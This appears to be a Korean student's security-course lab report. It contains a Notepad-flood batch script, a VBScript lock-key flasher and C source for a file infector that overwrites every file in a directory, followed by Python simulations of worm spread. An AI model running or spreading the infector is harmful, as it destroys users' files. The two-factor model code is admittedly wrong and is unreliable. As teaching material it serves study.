**Virus 제작 및 Worm 전파 모델링 실습**

정보컴퓨터공학부 201924437 김윤하

**[문제 1] 매크로 바이러스 제작**

1. **Notepad Flood 바이러스 (파일 확장자: bat)**

|  |
| --- |
| @echo off  **:: 반복 실행을 위한 레이블 값 CLASS을 설정합니다.**  :CLASS  **:: notepad를 실행합니다.**  start notepad  **:: notepad를 실행합니다.**  start notepad  **:: notepad를 실행합니다.**  start notepad  **:: CLASS 레이블로 이동하여 notepad open 작업을 반복합니다.**  goto CLASS |

* **동작 로직:**

**도표이(가) 표시된 사진

자동 생성된 설명**

1. **디스코 불빛 바이러스 (파일 확장자: vbs)**

|  |
| --- |
| **:: <WScript.Shell> 객체를 생성해 wshShell 변수에 집어넣어줍니다.**  Set wshShell =wscript.CreateObject("WScript.Shell")  **:: 무한 루프를 시작합니다.**  do  **:: 100ms(0.1초)동안 스크립트 실행을 sleep(중지)시킵니다.**  wscript.sleep 100  **:: CAPSLOCK 키를 on/off (토글) 합니다.**  wshshell.sendkeys "{CAPSLOCK}"  **:: NUMLOCK 키를 on/off (토글) 합니다.**  wshshell.sendkeys "{NUMLOCK}"  **:: SCROLLLOCK키를 on/off (토글) 합니다.**  wshshell.sendkeys "{SCROLLLOCK}"  **:: 루프의 처음으로 돌아가 스크립트 실행 중지, 세 가지 키 on/off를 반복합니다.**  loop |

* **동작 로직:**

도표이(가) 표시된 사진

자동 생성된 설명

**[문제 2] C 프로그램을 활용한 클론 바이러스 제작**

|  |
| --- |
| #include <stdio.h>  #include <stdlib.h>  #include <time.h>  #include <dir.h>  #include <conio.h>  #include <dos.h>  // 파일 포인터 및 변수 선언합니다.  FILE \*Class, \*vClass;  int owned = 0, a = 0;  unsigned long x;  char buff[256];  // 구조체 : 디렉토리 탐색의 목적으로 선언합니다.  struct ffblk ffblk;  clock\_t st, end;  // 메인 프로그램을 시작합니다.  main() {  st = clock(); // 시작 시간을 측정합니다.  clrscr();  owned=(findfirst("\*.\*", &ffblk, 0));  while(!owned) { // 현재 디렉토리에서 모든 파일을 찾아 반복시킵니다.  Class = fopen(\_argv[0], "rb"); // 현재 실행 파일 읽습닌다.  vClass = fopen(ffblk.ff\_name, "rb+"); // 찾은 파일을 열어 감염시킵니다.  if (vClass == NULL)  goto next;  // 실행 파일 내용을 찾은 파일에 복사해 감염시킵니다.  x = 89088;  printf("Infecting %s\n", ffblk.ff\_name);  while (x > 256) {  printf("xx :: %ul\n", x);  fread(buff, 256, 1, Class);  fwrite(buff, 256, 1, vClass);  x -= 256;  }  fread(buff, x, 1, Class);  fwrite(buff, x, 1, vClass);  a++;  next: fcloseall(); // 파일을 닫아줍니다.  owned = findnext(&ffblk); // 다음 파일을 탐색합니다.  }  end = clock(); // 종료 시간을 측정하고,  printf("Infected %d files in %f sec", a, (end-st)/CLK\_TCK); // 실행 시간을 출력합니다.  getch();  return (0);  } |

* **동작 로직:**

도표이(가) 표시된 사진

자동 생성된 설명

**[문제 3] 웜 전파 특성을 모델링하는 SI, SIR, Two-factor Models의 수치적 해석을 통해 전파 특성 그래프를 그리고 이를 통해 각 전파 모델의 특징을 비교 분석한다. 단, 아래 명시되지 않은 파라미터 값은 임의로 설정한다. 또한, 보고서에는 소스코드와 실행 결과 및 해석 내용을 기술한다.**

**(가정) N = 1,000000, I0 = 1, etha = 3, gamma= 0.05, mu = 0.06/N, beta0=0.8/N**

**[작성한 코드 - Python]**

|  |
| --- |
| import numpy as np  import matplotlib.pyplot as plt  # set parameters  N = 1000000  I0 = 1  etha = 3  gamma = 0.05  mu = 0.06/N  beta0 = 0.8/N  beta1 = 0.2/N # beta(t) = beta0 - beta1 \* t  t\_max = 200  # SI model  def SI\_model(S, I, beta):  dS\_dt = -beta \* S \* I  dI\_dt = beta \* S \* I  return dS\_dt, dI\_dt  # SIR model  def SIR\_model(S, I, R, beta, gamma, mu):  dS\_dt = -beta \* S \* I - mu \* S  dI\_dt = beta \* S \* I - gamma \* I - mu \* I  dR\_dt = gamma \* I - mu \* R  return dS\_dt, dI\_dt, dR\_dt  # Two-factor model  def Two\_factor\_model(S1, I1, S2, I2, gamma, mu, etha, beta0):  def beta(t):  return beta0 - beta1 \* t  dS1\_dt = -beta(0) \* S1 \* I1 - etha \* S1 + etha \* S2  dI1\_dt = beta(0) \* S1 \* I1 - gamma \* I1 - mu \* I1  dS2\_dt = -beta(0) \* S2 \* I2 - etha \* S2 + etha \* S1  dI2\_dt = beta(0) \* S2 \* I2 - gamma \* I2 - mu \* I2  return dS1\_dt, dI1\_dt, dS2\_dt, dI2\_dt  # set initial conditions  S0\_SI = N - I0  S0\_SIR = N - I0  I0\_SIR = I0  R0\_SIR = 0  S0\_TF = 0.5 \* N  I0\_TF = I0  S1\_TF = 0.5 \* N  S2\_TF = 0.5 \* N  # create time array  t = np.linspace(0, t\_max, t\_max + 1)  # solve SI model  sol\_SI = np.zeros((len(t), 2))  sol\_SI[0, :] = [S0\_SI, I0]  for i in range(1, len(t)):  sol\_SI[i, :] = sol\_SI[i-1, :] + np.array(SI\_model(sol\_SI[i-1, 0], sol\_SI[i-1, 1], beta0)) \* (t[i] - t[i-1])  # solve SIR model  sol\_SIR = np.zeros((len(t), 3))  sol\_SIR[0, :] = [S0\_SIR, I0\_SIR, R0\_SIR]  for i in range(1, len(t)):  dS\_dt, dI\_dt, dR\_dt = SIR\_model(sol\_SIR[i-1, 0], sol\_SIR[i-1, 1], sol\_SIR[i-1, 2], beta0, gamma, mu)  sol\_SIR[i, :] = sol\_SIR[i-1, :] + np.array([dS\_dt, dI\_dt, dR\_dt]) \* (t[i] - t[i-1])  # solve Two-factor model  sol\_TF = np.zeros((len(t), 4))  sol\_TF[0, :] = [S0\_TF, I0\_TF, S1\_TF, S2\_TF]  for i in range(1, len(t)):  # Calculate the derivative of S1, I1, S2, I2 at time i  dS1\_dt, dI1\_dt, dS2\_dt, dI2\_dt = Two\_factor\_model(sol\_TF[i-1, 0], sol\_TF[i-1, 1], sol\_TF[i-1, 2], sol\_TF[i-1, 3], gamma, mu, etha, beta0)  # Update the values of S1, I1, S2, I2 at time i  sol\_TF[i, :] = sol\_TF[i-1, :] + np.array([dS1\_dt, dI1\_dt, dS2\_dt, dI2\_dt]) \* (t[i] - t[i-1])  # plot results  plt.plot(t, sol\_SI[:, 1], label='SI')  plt.legend()  plt.xlabel('Time')  plt.ylabel('Number of Infected Computers')  plt.show()  # plot results  plt.plot(t, sol\_SIR[:, 1], label='SIR')  plt.legend()  plt.xlabel('Time')  plt.ylabel('Number of Infected Computers')  plt.show()  # plot results  plt.plot(t, sol\_TF[:, 1]+sol\_TF[:, 3], label='Two-factor')  plt.legend()  plt.xlabel('Time')  plt.ylabel('Number of Infected Computers')  plt.show()  # plot results  plt.plot(t, sol\_SI[:, 1], label='SI')  plt.plot(t, sol\_SIR[:, 1], label='SIR')  plt.plot(t, sol\_TF[:, 1]+sol\_TF[:, 3], label='Two-factor')  plt.legend()  plt.xlabel('Time')  plt.ylabel('Number of Infected Computers')  plt.show() |

1. **SI(Susceptible Infected) 전파 모델의 특징**

차트이(가) 표시된 사진

자동 생성된 설명

* 이미 감염된 개체가 회복되는 것은 반영하지 않는다. 따라서 감염된 PC의 악성 코드를 제거하는 부분은 고려하지 않는다는 한계가 있다.
* infectious Host \* Susceptible Host 에 비례하여 접촉의 수가 증가한다.
* I(t)와 S(t)가 대칭이며, beta 값은 상수 값으로 고정된다.

1. **SIR 전파 모델의 특징**

**차트이(가) 표시된 사진

자동 생성된 설명**

* SI 모델과는 달리, 이미 감염된 개체가 회복되는 것을 반영한다. 한 번 회복된 상태의 개체가 다시 감염될 수 없다.
* 하지만 여전히 beta 값이 상수인 한계점이 존재한다.
* SIR 개념의 확장으로, ‘KM Model’이 있다.

1. **Two-factor 전파 모델의 특징**

**차트이(가) 표시된 사진

자동 생성된 설명**

* 예상했던 그래프와는 다르게 결과가 나왔습니다. 이는 시간 t에 따른 beta(t) 함수에 문제가 있는 것으로 예상되나, 해결하지 못해 그대로 제출합니다.
* 웜 바이러스 전파 속도가 느려진다. 이는 beta를 상수 값이 아닌 시간 t에 따른 변화량으로 보기 때문이다. Two-factor 모델은 웜의 전파 과정에서 사용되어진 불필요한 IP Adress를 스캔한다. 이로 예상했던 만큼의 scan이 나타나는 것이 아니라, 100개 중 30개만 감염되어지는 형태로 나타난다.